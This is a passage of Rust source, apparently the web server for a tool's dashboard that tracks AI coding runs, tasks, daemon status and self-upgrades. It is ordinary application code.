1674pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1680 match bind {
1681 Bind::Addr(addr) => (*addr, None),
1682 Bind::Auto => match tailscale_ip() {
1683 Ok(ip) => (IpAddr::V4(ip), None),
1684 Err(why) => (
1685 IpAddr::V4(Ipv4Addr::LOCALHOST),
1686 Some(format!(
1687 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1688 local-only and a phone cannot reach it; start Tailscale \
1689 or pass --bind <addr>"
1690 )),
1691 ),
1692 },
1693 }
1694}
1695
1696fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1704 let out = std::process::Command::new("tailscale")
1705 .args(["ip", "-4"])
1706 .quiet()
1707 .output()
1708 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1709 if !out.status.success() {
1710 let why = String::from_utf8_lossy(&out.stderr);
1711 let why = why.trim();
1712 return Err(format!(
1713 "`tailscale ip -4` failed ({}){}",
1714 out.status,
1715 if why.is_empty() {
1716 String::new()
1717 } else {
1718 format!(": {why}")
1719 }
1720 ));
1721 }
1722 String::from_utf8_lossy(&out.stdout)
1723 .lines()
1724 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1725 .find(is_tailnet)
1726 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1727}
1728
1729fn is_tailnet(ip: &Ipv4Addr) -> bool {
1731 let o = ip.octets();
1732 o[0] == 100 && (64..=127).contains(&o[1])
1733}
1734
1735type ApiResult<T> = std::result::Result<T, ApiError>;
1739
1740#[derive(Debug)]
1742struct ApiError {
1743 status: StatusCode,
1744 message: String,
1745}
1746
1747impl ApiError {
1748 fn bad_request(message: impl Into<String>) -> Self {
1750 Self {
1751 status: StatusCode::BAD_REQUEST,
1752 message: message.into(),
1753 }
1754 }
1755
1756 fn not_found(message: impl Into<String>) -> Self {
1758 Self {
1759 status: StatusCode::NOT_FOUND,
1760 message: message.into(),
1761 }
1762 }
1763
1764 fn with_status(mut self, status: StatusCode) -> Self {
1767 self.status = status;
1768 self
1769 }
1770
1771 fn bad_request_from(e: anyhow::Error) -> Self {
1775 Self::bad_request(format!("{e:#}"))
1776 }
1777
1778 fn conflict(message: impl Into<String>) -> Self {
1779 Self {
1780 status: StatusCode::CONFLICT,
1781 message: message.into(),
1782 }
1783 }
1784
1785 fn internal(message: impl Into<String>) -> Self {
1787 Self {
1788 status: StatusCode::INTERNAL_SERVER_ERROR,
1789 message: message.into(),
1790 }
1791 }
1792}
1793
1794impl From<anyhow::Error> for ApiError {
1795 fn from(e: anyhow::Error) -> Self {
1800 Self::internal(format!("{e:#}"))
1801 }
1802}
1803
1804impl IntoResponse for ApiError {
1805 fn into_response(self) -> Response {
1806 let body = serde_json::json!({ "error": self.message });
1807 (self.status, Json(body)).into_response()
1808 }
1809}
1810
1811async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1820where
1821 T: Send + 'static,
1822{
1823 match tokio::task::spawn_blocking(job).await {
1824 Ok(result) => result,
1825 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1826 }
1827}
1828
1829const ASSET_CACHE: &str = "no-cache, must-revalidate";
1847
1848fn asset_etag() -> &'static str {
1855 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1856 format!(
1857 "\"{}-{}\"",
1858 env!("CARGO_PKG_VERSION"),
1859 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1864 )
1865 });
1866 &TAG
1867}
1868
1869fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1871 [
1872 (header::CONTENT_TYPE, mime),
1873 (header::CACHE_CONTROL, ASSET_CACHE),
1874 (header::ETAG, asset_etag()),
1875 ]
1876}
1877
1878fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1886 let tag = asset_etag();
1887 let known = headers
1888 .get(header::IF_NONE_MATCH)
1889 .and_then(|v| v.to_str().ok())
1890 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1894 if known {
1895 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1896 }
1897 (asset_headers(mime), body).into_response()
1898}
1899
1900async fn index(headers: header::HeaderMap) -> Response {
1901 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1902}
1903
1904async fn app_css(headers: header::HeaderMap) -> Response {
1905 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1906}
1907
1908async fn app_js(headers: header::HeaderMap) -> Response {
1909 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1910}
1911
1912#[derive(Debug, Serialize)]
1914struct HealthView {
1915 version: &'static str,
1916 home: String,
1917 queue_rev: u64,
1918 runs_rev: u64,
1919 questions_rev: u64,
1931 talks_rev: u64,
1933 notifications_rev: u64,
1935 notifications_unread: usize,
1938 loop_rev: u64,
1943 runs_unreadable: usize,
1951 disk: DiskView,
1959 questions_open: usize,
1965 questions_needs_owner: usize,
1975 daemon: DaemonView,
1976 #[serde(rename = "loop")]
1982 looping: LoopView,
1983 update: UpdateView,
1990 upgrade: Option<UpgradeProgressView>,
1994}
1995
1996#[derive(Debug, Serialize)]
2003struct UpdateView {
2004 available: bool,
2006 to: Option<String>,
2008}
2009
2010#[derive(Debug, Serialize)]
2012struct UpgradeProgressView {
2013 stage: updater::Stage,
2014 from: String,
2015 to: Option<String>,
2016 waiting_on: Option<String>,
2019 started_at: Timestamp,
2020 updated_at: Timestamp,
2021 detail: Option<String>,
2022 stuck_for_secs: Option<i64>,
2025 stuck_kind: Option<updater::StallKind>,
2028 handover_alive: bool,
2031}
2032
2033fn should_spawn_recheck(cfg: &Update) -> bool {
2040 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2041}
2042
2043fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2055 if progress.is_some_and(|p| !p.stage.terminal()) {
2056 return false;
2057 }
2058 checker.should_check()
2059}
2060
2061fn recheck_poll_period(cfg: &Update) -> Duration {
2074 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2075}
2076
2077async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2101 loop {
2102 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2103 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2104 if !should_spawn_recheck(&cfg.update) {
2105 continue;
2106 }
2107 let Some(checker) = updater::Checker::new(&cfg.update) else {
2108 continue;
2109 };
2110 let progress = updater::read_progress(&home);
2111 if !update_recheck_due(&checker, progress.as_ref()) {
2112 continue;
2113 }
2114 if let Err(e) = checker.newer_release().await {
2115 tracing::warn!("background update recheck failed: {e:#}");
2116 }
2117 }
2118}
2119
2120fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2126 let default;
2127 let cfg = match cfg {
2128 Some(cfg) => cfg,
2129 None => {
2130 default = Config::default();
2131 &default
2132 }
2133 };
2134 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2135 match latest {
2136 Some(latest) => UpdateView {
2137 available: true,
2138 to: Some(latest.tag_name),
2139 },
2140 None => UpdateView {
2141 available: false,
2142 to: None,
2143 },
2144 }
2145}
2146
2147fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2153 let now = Timestamp::now();
2154 let lease = updater::read_lease(&ui.home);
2155 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2156 let run_id = alive
2157 .and_then(|l| l.parked_run.as_deref())
2158 .or(progress.parked_run.as_deref());
2159 let parking = progress.stage == updater::Stage::Parking;
2160 let waited = alive.map_or_else(String::new, |l| {
2161 let secs = updater::waited_secs(l, now);
2162 format!(" (waited {} min so far)", secs / 60)
2163 });
2164 let run_text = run_id
2165 .filter(|_| parking)
2166 .map(|id| match read_run(&ui.runs, id).ok() {
2167 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2168 None => format!("run {id} is finishing"),
2169 });
2170 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2171 .filter(|t| parking && !t.is_empty())
2172 .map(|t| format!("{t} finishing"));
2173 let waiting_on = match (run_text, talks_text) {
2174 (None, None) => None,
2175 (run, talks) => {
2176 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2177 Some(format!(
2178 "{} before the address is handed over{waited}",
2179 parts.join(" and ")
2180 ))
2181 }
2182 };
2183 let detail = progress
2184 .detail
2185 .clone()
2186 .or_else(|| updater::read_note(&ui.home, &progress));
2187 let stalled = updater::stall(&progress, lease.as_ref(), now);
2188 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2189 UpgradeProgressView {
2190 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2191 stuck_kind: stalled.map(|s| s.kind),
2192 handover_alive: alive.is_some(),
2193 stage: progress.stage,
2194 from: progress.from,
2195 to: progress.to,
2196 waiting_on,
2197 started_at: progress.started_at,
2198 updated_at: progress.updated_at,
2199 detail,
2200 }
2201}
2202
2203#[derive(Debug, Serialize)]
2208struct DiskView {
2209 #[serde(skip_serializing_if = "Option::is_none")]
2211 free_bytes: Option<u64>,
2212 runs_bytes: u64,
2214 worktrees_bytes: u64,
2216 #[serde(skip_serializing_if = "Option::is_none")]
2218 cache_bytes: Option<u64>,
2219}
2220
2221impl DiskView {
2222 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2224 let cache_bytes = cfg
2225 .and_then(|cfg| cfg.cache_dir())
2226 .map(|dir| crate::disk::dir_size(&dir));
2227 Self {
2228 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2229 runs_bytes: crate::disk::dir_size(&ui.runs),
2230 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2231 cache_bytes,
2232 }
2233 }
2234}
2235
2236#[derive(Debug, Serialize)]
2238struct DaemonView {
2239 running: bool,
2240 idle: Option<bool>,
2241 pid: Option<u32>,
2242 current: Vec<daemon::Current>,
2246 completed: Option<u64>,
2247 stale_for_secs: Option<i64>,
2248}
2249
2250impl DaemonView {
2251 fn of(status: Option<daemon::Reading>) -> Self {
2255 let Some(status) = status else {
2256 return Self {
2257 running: false,
2258 idle: None,
2259 pid: None,
2260 current: Vec::new(),
2261 completed: None,
2262 stale_for_secs: None,
2263 };
2264 };
2265 let now = Timestamp::now();
2266 let age = status.age_secs(now);
2267 Self {
2268 running: status.running(now),
2269 idle: Some(status.idle),
2270 pid: status.pid,
2271 current: status.current,
2272 completed: Some(status.completed),
2273 stale_for_secs: age,
2274 }
2275 }
2276}
2277
2278async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2279 blocking(move || {
2280 let reading = daemon::read_status(&ui.home);
2284 let loop_rev = ui.lock_loop().rev;
2288 let cfg = deputy_config(&ui.repo);
2291 let update = cached_update_view(cfg.as_ref());
2292 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2293 Ok(Json(HealthView {
2294 version: env!("CARGO_PKG_VERSION"),
2295 home: ui.home.display().to_string(),
2296 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2297 runs_rev: runs_revision(&ui.runs),
2298 questions_rev: ui.questions.revision(),
2299 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2300 notifications_rev: ui.notices.revision(),
2301 notifications_unread: ui.notices.count_unread(),
2302 loop_rev,
2303 runs_unreadable: runs_unreadable(&ui.runs),
2304 questions_open: ui.questions.count_open(),
2305 questions_needs_owner: ui.questions.count_needs_owner(),
2306 daemon: DaemonView::of(reading.clone()),
2307 looping: ui.loop_view(reading),
2308 disk: DiskView::of(&ui, cfg.as_ref()),
2309 update,
2310 upgrade,
2311 }))
2312 })
2313 .await
2314}
2315
2316#[derive(Debug, Serialize)]
2318struct LoopView {
2319 running: bool,
2321 stopping: bool,
2329 parking: bool,
2337 owned: bool,
2345 repo: String,
2348 merge: Option<String>,
2351 last_error: Option<String>,
2359 daemon: DaemonView,
2362}
2363
2364#[derive(Debug, Clone, Copy)]
2373struct Foreign {
2374 pid: Option<u32>,
2376}
2377
2378impl Foreign {
2379 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2382 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2386 }
2387
2388 fn who(&self) -> String {
2391 match self.pid {
2392 Some(pid) => format!("another magi process (pid {pid})"),
2393 None => "another magi process".to_owned(),
2394 }
2395 }
2396}
2397
2398type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2403
2404fn launch_daemon(
2406 opts: daemon::Opts,
2407 stop: daemon::Stop,
2408) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2409 Box::pin(daemon::serve_until(opts, stop))
2410}
2411
2412#[derive(Debug, Default)]
2414struct LoopState {
2415 live: Option<Live>,
2417 rev: u64,
2425 last_error: Option<String>,
2428 resume_after_handover: bool,
2433}
2434
2435#[derive(Debug)]
2437struct Live {
2438 stop: daemon::Stop,
2440 handle: tokio::task::JoinHandle<()>,
2445 opts: daemon::Opts,
2449}
2450
2451impl Live {
2452 fn alive(&self) -> bool {
2454 !self.handle.is_finished()
2455 }
2456}
2457
2458fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2465 state.lock().unwrap_or_else(PoisonError::into_inner)
2466}
2467
2468async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2470 blocking(move || {
2471 let reading = daemon::read_status(&ui.home);
2472 Ok(Json(ui.loop_view(reading)))
2473 })
2474 .await
2475}
2476
2477#[derive(Debug, Deserialize)]
2483#[serde(deny_unknown_fields)]
2484struct LoopCommand {
2485 running: bool,
2486 #[serde(default)]
2496 park: bool,
2497}
2498
2499async fn loop_post(
2507 State(ui): State<Arc<Ui>>,
2508 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2509) -> ApiResult<Json<LoopView>> {
2510 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2513 blocking(move || {
2514 let reading = daemon::read_status(&ui.home);
2515 let foreign = Foreign::of(reading.as_ref());
2516 if body.running {
2517 ui.start_loop(foreign)?;
2518 } else {
2519 ui.stop_loop(foreign, body.park)?;
2520 }
2521 Ok(Json(ui.loop_view(reading)))
2522 })
2523 .await
2524}
2525
2526#[derive(Debug, Serialize)]
2528struct UpgradeView {
2529 from: String,
2531 to: Option<String>,
2533 parked: Option<String>,
2535 detail: String,
2537}
2538
2539fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2542 progress.filter(|p| !p.stage.terminal())
2543}
2544
2545async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2569 let reading = daemon::read_status(&ui.home);
2570 if let Some(other) = Foreign::of(reading.as_ref()) {
2571 return Err(ApiError::conflict(format!(
2572 "the loop belongs to {}, so replacing this binary would leave \
2573 that process running an old one against the same queue. Upgrade \
2574 where it was started.",
2575 other.who()
2576 )));
2577 }
2578
2579 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2584 return Err(ApiError::conflict(
2585 "another request is already preparing an upgrade",
2586 ));
2587 };
2588 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2589 return Err(ApiError::conflict(
2590 "an upgrade is already in progress (this process started one and it \
2591 has not finished or failed yet)",
2592 ));
2593 }
2594 let recorded = updater::read_progress(&ui.home);
2595 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2596 return Err(ApiError::conflict(format!(
2597 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2598 stays stuck, restart the deck; on start it settles a stale record.",
2599 p.stage.as_str(),
2600 p.from,
2601 p.to.as_deref().unwrap_or("?"),
2602 )));
2603 }
2604
2605 if crate::updater::disabled_by_env() {
2611 return Ok((
2612 StatusCode::OK,
2613 Json(UpgradeView {
2614 from: env!("CARGO_PKG_VERSION").to_owned(),
2615 to: None,
2616 parked: None,
2617 detail: format!(
2618 "Automatic updates are disabled by {}. Nothing was parked \
2619 and nothing restarted.",
2620 crate::updater::NO_AUTOUPDATE_ENV
2621 ),
2622 }),
2623 ));
2624 }
2625
2626 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2631 let from = env!("CARGO_PKG_VERSION").to_owned();
2632 let latest = match crate::updater::Checker::new(&cfg.update) {
2633 Some(checker) => checker
2634 .newer_release()
2635 .await
2636 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2637 None => None,
2638 };
2639 let Some(latest) = latest else {
2640 return Ok((
2641 StatusCode::OK,
2642 Json(UpgradeView {
2643 from,
2644 to: None,
2645 parked: None,
2646 detail: "Already on the newest release. Nothing was parked \
2647 and nothing restarted."
2648 .to_owned(),
2649 }),
2650 ));
2651 };
2652
2653 let parked = ui.park_for_upgrade()?;
2656 let detail = match &parked {
2657 Some(run) => format!(
2662 "Run {} is parking at its next step, which can take as long as \
2663 the step it is on - up to an hour for an implement wave. The \
2664 deck replaces itself once it parks, comes back, and the loop \
2665 carries that run on from where it stopped. Nothing is lost if \
2666 you close this.",
2667 crate::run::short_of(run)
2668 ),
2669 None => "The deck replaces itself and comes back. Nothing was in \
2670 flight to park."
2671 .to_owned(),
2672 };
2673
2674 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2678 progress.parked_run = parked.clone();
2679 updater::write_progress_logged(&ui.home, &progress);
2683
2684 let home = ui.home.clone();
2685 let looping = ui.looping();
2686 ui.upgrade_spawned
2687 .store(true, std::sync::atomic::Ordering::SeqCst);
2688 let spawned = Arc::clone(&ui.upgrade_spawned);
2689 tokio::spawn(async move {
2690 if let Err(e) = upgrade_and_restart(home.clone()).await {
2691 tracing::error!("the upgrade did not complete: {e:#}");
2692 lock_or_recover(&looping).resume_after_handover = false;
2693 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2697 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2700 }
2701 });
2702
2703 Ok((
2704 StatusCode::ACCEPTED,
2705 Json(UpgradeView {
2706 from,
2707 to: Some(latest.tag_name),
2708 parked,
2709 detail,
2710 }),
2711 ))
2712}
2713
2714async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2719 crate::updater::run_self_update(true, false, true).await?;
2722 updater::log_step(&home, "binary replaced - recording the replaced stage");
2723 if let Some(mut progress) = updater::read_progress(&home) {
2724 progress.advance(updater::Stage::Replaced);
2725 updater::write_progress_logged(&home, &progress);
2726 }
2727 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2728 HANDOVER.notify_one();
2729 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2730 Ok(())
2731}
2732
2733#[derive(Debug, Serialize)]
2739struct RunSummary {
2740 id: String,
2741 short: String,
2742 status: String,
2743 done: bool,
2744 instruction: String,
2745 title: String,
2746 repo: String,
2747 repo_name: String,
2748 created_at: String,
2749 updated_at: String,
2750 candidates: usize,
2751 viable: usize,
2752 judges: usize,
2753 winner: Option<char>,
2754 reviews: usize,
2755 quota_losses: usize,
2756 event: Option<String>,
2757 superseded_by: Option<String>,
2762 waiting: bool,
2769 live: crate::run::Liveness,
2773 pr: Option<crate::run::PrRecord>,
2775 unmerged_by_design: bool,
2781 origin_label: String,
2784}
2785
2786impl RunSummary {
2787 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2788 Self {
2789 id: state.id.clone(),
2790 short: state.short().to_owned(),
2791 status: status_word(state.status),
2792 done: state.status.done(),
2793 unmerged_by_design: state.unmerged_by_design(),
2794 instruction: state.instruction.clone(),
2795 title: title_from(&state.instruction, TITLE_MAX),
2796 repo: state.repo.display().to_string(),
2797 repo_name: state
2798 .repo
2799 .file_name()
2800 .map(|n| n.to_string_lossy().into_owned())
2801 .unwrap_or_default(),
2802 created_at: state.created_at.to_string(),
2803 updated_at: state.updated_at.to_string(),
2804 candidates: state.candidates.len(),
2805 viable: state.viable().len(),
2806 judges: state.config.graph.judges,
2807 winner: state.winner().map(|c| c.label),
2808 reviews: state.reviews.len(),
2809 quota_losses: state.quota.len(),
2810 event: state.events.last().map(|e| e.message.clone()),
2811 waiting,
2812 live,
2813 superseded_by: None,
2816 pr: state.pr.clone(),
2817 origin_label: crate::run::origin_label(state.origin.as_ref()),
2818 }
2819 }
2820}
2821
2822fn status_word(status: RunStatus) -> String {
2825 status.as_str().to_owned()
2829}
2830
2831#[derive(Debug, Deserialize)]
2833struct ListQuery {
2834 #[serde(default)]
2835 limit: Option<usize>,
2836 ids: Option<String>,
2838}
2839
2840impl ListQuery {
2841 fn contains(&self, id: &str) -> bool {
2842 self.ids
2843 .as_ref()
2844 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2845 }
2846}
2847
2848async fn runs_list(
2849 State(ui): State<Arc<Ui>>,
2850 Query(q): Query<ListQuery>,
2851) -> ApiResult<Json<Vec<RunSummary>>> {
2852 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2853 blocking(move || {
2854 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2855 let states = run_ids(&ui.runs)
2856 .into_iter()
2857 .filter_map(|id| read_run(&ui.runs, &id).ok())
2862 .take(limit)
2863 .filter(|run| q.contains(&run.id));
2864 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2865 let summaries = summarize(
2866 states,
2867 &open_runs,
2868 &claimed,
2869 &superseded,
2870 |p| probe.borrow_mut().status(p),
2871 |p| probe.borrow_mut().started_at(p),
2872 );
2873 Ok(Json(summaries))
2874 })
2875 .await
2876}
2877
2878fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2883 let open_runs: HashSet<String> = ui
2884 .questions
2885 .list()
2886 .into_iter()
2887 .filter(|q| q.status.open())
2888 .map(|q| q.run)
2889 .collect();
2890 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2891 .into_iter()
2892 .map(|c| c.run)
2893 .collect();
2894 (open_runs, claimed, ui.queue.superseded())
2895}
2896
2897fn summarize<I, S, D>(
2903 states: I,
2904 open_runs: &HashSet<String>,
2905 claimed: &HashSet<String>,
2906 superseded: &HashMap<String, String>,
2907 mut status_q: S,
2908 mut identity_q: D,
2909) -> Vec<RunSummary>
2910where
2911 I: IntoIterator<Item = RunState>,
2912 S: FnMut(u32) -> Option<bool>,
2913 D: FnMut(u32) -> Option<String>,
2914{
2915 states
2916 .into_iter()
2917 .map(|state| {
2918 let waiting = open_runs.contains(&state.id);
2919 let live =
2920 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2921 let mut row = RunSummary::of(&state, waiting, live);
2922 row.superseded_by = superseded
2923 .get(&state.id)
2924 .map(String::as_str)
2925 .map(crate::run::short_of)
2926 .map(str::to_owned);
2927 row
2928 })
2929 .collect()
2930}
2931
2932#[derive(Debug, Serialize)]
2939struct RunDetailView {
2940 #[serde(flatten)]
2941 state: RunState,
2942 instruction_md: Vec<md::Node>,
2943 #[serde(flatten)]
2947 prose_md: RunProseMd,
2948 live: crate::run::Liveness,
2963 unmerged_by_design: bool,
2968 done: bool,
2973 superseded_by: Option<String>,
2981 latest_attempt: Option<LatestAttempt>,
2995 task: Option<TaskRef>,
2998 origin_label: String,
3002}
3003
3004#[derive(Debug, Serialize)]
3006struct TaskRef {
3007 id: String,
3008 short: String,
3009 title: String,
3010 source_label: String,
3012 source_link: Option<SourceLink>,
3014 status: &'static str,
3016 attempts: usize,
3017 max_attempts: usize,
3018 is_latest: bool,
3020 latest: Option<RunBrief>,
3022 finished_by: Option<RunBrief>,
3024 closed_by_hand: bool,
3026}
3027
3028#[derive(Debug, PartialEq, Eq, Serialize)]
3030struct SourceLink {
3031 kind: &'static str,
3033 id: String,
3035 href: String,
3037}
3038
3039fn encode_segment(raw: &str) -> String {
3041 let mut out = String::with_capacity(raw.len());
3042 for b in raw.bytes() {
3043 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3044 out.push(b as char);
3045 } else {
3046 out.push_str(&format!("%{b:02X}"));
3047 }
3048 }
3049 out
3050}
3051
3052fn source_link(source: &Source) -> Option<SourceLink> {
3056 let Source::Agent { run, node } = source else {
3057 return None;
3058 };
3059 let (kind, route) = if node == crate::queue::CHAT_NODE {
3060 ("chat", "chat")
3061 } else {
3062 ("run", "runs")
3063 };
3064 Some(SourceLink {
3065 kind,
3066 id: run.clone(),
3067 href: format!("#/{route}/{}", encode_segment(run)),
3068 })
3069}
3070
3071#[derive(Debug, Serialize, PartialEq)]
3073struct FollowUpParent {
3074 id: String,
3075 short: String,
3076 title: String,
3077 status: &'static str,
3079 href: String,
3080}
3081
3082#[derive(Debug, Serialize, PartialEq)]
3084struct FollowUpRun {
3085 id: String,
3086 short: String,
3087 status: Option<&'static str>,
3089 href: Option<String>,
3091}
3092
3093#[derive(Debug, Serialize, PartialEq)]
3096struct FollowUpOrigin {
3097 parent: Option<FollowUpParent>,
3099 run: FollowUpRun,
3100 pr: String,
3105 findings: Vec<String>,
3106 generation: u32,
3107}
3108
3109fn followup_origin(
3112 fu: &crate::queue::FollowUp,
3113 task: impl Fn(&str) -> Option<Task>,
3114 run: impl Fn(&str) -> Option<RunState>,
3115) -> FollowUpOrigin {
3116 let parent = fu
3117 .origin_task
3118 .as_deref()
3119 .and_then(task)
3120 .map(|t| FollowUpParent {
3121 short: t.short().to_owned(),
3122 href: format!("#/tasks/{}", encode_segment(&t.id)),
3123 status: t.status.as_str(),
3124 title: t.title,
3125 id: t.id,
3126 });
3127 let state = run(&fu.run);
3128 FollowUpOrigin {
3129 parent,
3130 run: FollowUpRun {
3131 short: run::short_of(&fu.run).to_owned(),
3132 status: state.as_ref().map(|s| s.status.as_str()),
3133 href: state
3134 .is_some()
3135 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3136 id: fu.run.clone(),
3137 },
3138 pr: fu.pr.clone(),
3139 findings: fu.findings.clone(),
3140 generation: fu.generation,
3141 }
3142}
3143
3144#[derive(Debug, Serialize)]
3146struct RunBrief {
3147 id: String,
3148 short: String,
3149 status: Option<&'static str>,
3151 outcome: String,
3153}
3154
3155fn task_outcome(
3158 task: &Task,
3159 this_run: &str,
3160 max_attempts: usize,
3161 read: impl Fn(&str) -> Option<RunState>,
3162) -> TaskRef {
3163 let history = task_history(task, read);
3164 let brief = |h: &TaskRunView| RunBrief {
3165 id: h.id.clone(),
3166 short: h.short.clone(),
3167 status: h.status,
3168 outcome: h.exit.edge_label(h.status),
3169 };
3170 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3171 let latest = if is_latest {
3172 None
3173 } else {
3174 history.last().map(brief)
3175 };
3176 let done = task.status == TaskStatus::Done;
3177 let finished_by = done
3178 .then(|| {
3179 history
3180 .iter()
3181 .rev()
3182 .find(|h| {
3183 matches!(
3184 h.exit,
3185 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3186 )
3187 })
3188 .map(brief)
3189 })
3190 .flatten();
3191 TaskRef {
3192 short: task.short().to_owned(),
3193 title: task.title.clone(),
3194 id: task.id.clone(),
3195 source_label: task.source.label(),
3196 source_link: source_link(&task.source),
3197 status: task.status.as_str(),
3198 attempts: task.attempts,
3199 max_attempts,
3200 is_latest,
3201 latest,
3202 closed_by_hand: done && finished_by.is_none(),
3203 finished_by,
3204 }
3205}
3206
3207#[derive(Debug, Serialize)]
3209struct LatestAttempt {
3210 id: String,
3211 short: String,
3212 resolved: bool,
3223 status: RunStatus,
3226 done: bool,
3228}
3229
3230#[derive(Debug, Default, Serialize)]
3232struct RunProseMd {
3233 advice_md: Option<AdviceMd>,
3235 candidate_summaries_md: Vec<Vec<md::Node>>,
3237 reviews_md: Vec<RoundMd>,
3239}
3240
3241#[derive(Debug, Default, Serialize)]
3242struct AdviceMd {
3243 synthesis: Vec<md::Node>,
3244 approaches: Vec<Vec<md::Node>>,
3246}
3247
3248#[derive(Debug, Default, Serialize)]
3249struct RoundMd {
3250 reviewers: Vec<ReviewerMd>,
3252 reconsideration: Vec<Vec<md::Node>>,
3254 fix: Option<FixMd>,
3255}
3256
3257#[derive(Debug, Default, Serialize)]
3258struct ReviewerMd {
3259 summary: Vec<md::Node>,
3260 findings: Vec<Vec<md::Node>>,
3262}
3263
3264#[derive(Debug, Default, Serialize)]
3265struct FixMd {
3266 notes: Vec<md::Node>,
3267 rejected: Vec<Vec<md::Node>>,
3269}
3270
3271fn run_prose_md(state: &RunState) -> RunProseMd {
3273 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3274 RunProseMd {
3275 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3276 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3277 approaches: a
3278 .records
3279 .iter()
3280 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3281 .collect(),
3282 }),
3283 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3284 reviews_md: state
3285 .reviews
3286 .iter()
3287 .map(|round| RoundMd {
3288 reviewers: round
3289 .reviews
3290 .iter()
3291 .map(|rec| ReviewerMd {
3292 summary: nodes(&rec.summary),
3293 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3294 })
3295 .collect(),
3296 reconsideration: round
3297 .reconsideration
3298 .iter()
3299 .map(|rv| nodes(&rv.reason))
3300 .collect(),
3301 fix: round.fix.as_ref().map(|fix| FixMd {
3302 notes: nodes(&fix.notes),
